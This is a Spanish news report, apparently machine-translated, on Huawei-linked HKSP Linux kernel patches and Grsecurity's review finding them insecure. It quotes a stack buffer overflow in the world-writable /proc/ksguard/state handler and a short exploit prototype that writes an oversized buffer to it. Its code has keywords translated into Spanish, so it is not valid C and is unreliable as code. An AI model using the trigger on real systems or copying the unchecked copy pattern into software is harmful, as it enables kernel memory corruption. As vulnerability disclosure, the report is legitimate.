Desarrolladores del proyecto Grsecurity
Los parches HKSP fueron publicados por un empleado de Huawei, incluyen una mención de Huawei en el perfil de GitHub y usan la palabra Huawei en el nombre del proyecto (HKSP - Huawei Kernel Self Protection). Al mismo tiempo, los representantes de Huawei negaron la conexión del proyecto HKSP con la empresa y afirmaron que el código fue desarrollado por iniciativa personal del empleado, no es un proyecto oficial de Huawei y no se utiliza en los productos de la empresa. En
HKSP incluye cambios como la aleatorización de compensaciones en la estructura de crédito, protección contra ataques al espacio de nombres del identificador de usuario (espacio de nombres pid), separación de la pila de procesos del área mmap, detección de llamadas dobles a la función kfree, bloqueo de fugas a través del pseudo -FS /proc (/proc/ {módulos, claves, usuarios clave}, /proc/sys/kernel/* y /proc/sys/vm/mmap_min_addr, /proc/kallsyms), aleatorización de direcciones de espacio de usuario mejorada, Ptrace adicional protección, protección mejorada smap y smep, la capacidad de prohibir el envío de datos a través de sockets sin formato, bloquear direcciones incorrectas en sockets UDP y verificar la integridad de los procesos en ejecución. También incluye el módulo del kernel Ksguard, cuyo objetivo es detectar intentos de introducir rootkits típicos.
Parches
Un estudio del parche realizado por los desarrolladores de Grsecurity reveló muchos errores y debilidades en el código, y también mostró la ausencia de un modelo de amenaza que les permitiera juzgar adecuadamente las capacidades del proyecto. Para demostrar claramente que el código se escribió sin utilizar métodos de programación seguros, se proporciona un ejemplo de una vulnerabilidad trivial en el controlador.
archivo /proc/ksguard/state, que se crea con los derechos 0777, lo que implica que todos tienen acceso de escritura. La función ksg_state_write, utilizada para analizar comandos escritos en /proc/ksguard/state, crea un búfer tmp[32] en el que se escriben los datos según el tamaño del operando pasado, sin tener en cuenta el tamaño del búfer de destino y sin comprobando el parámetro con el tamaño de la cadena. Aquellos. Para sobrescribir parte de la pila del kernel, un atacante sólo necesita escribir una línea con formato especial en /proc/ksguard/state.
estático ssize_t ksg_state_write(archivo de estructura *archivo, const char __user *buf,
tamaño_t longitud, loff_t *desplazamiento)
{
valor u64;
char tmp [32];
tamaño_t n = 0;
si (copiar_de_usuario(tmp, buf, len))
devuelve -1;
valor = simple_strtoul(tmp, '\0', 10);
...
Prototipo de explotación:
char buf[4096] = { };
int fd = open(“/proc/ksguard/state”, O_WRONLY);
si (fd >= 0) {
escribir(fd, buf, tamaño de(buf));
cerrar(fd);
}
Fuente: opennet.ru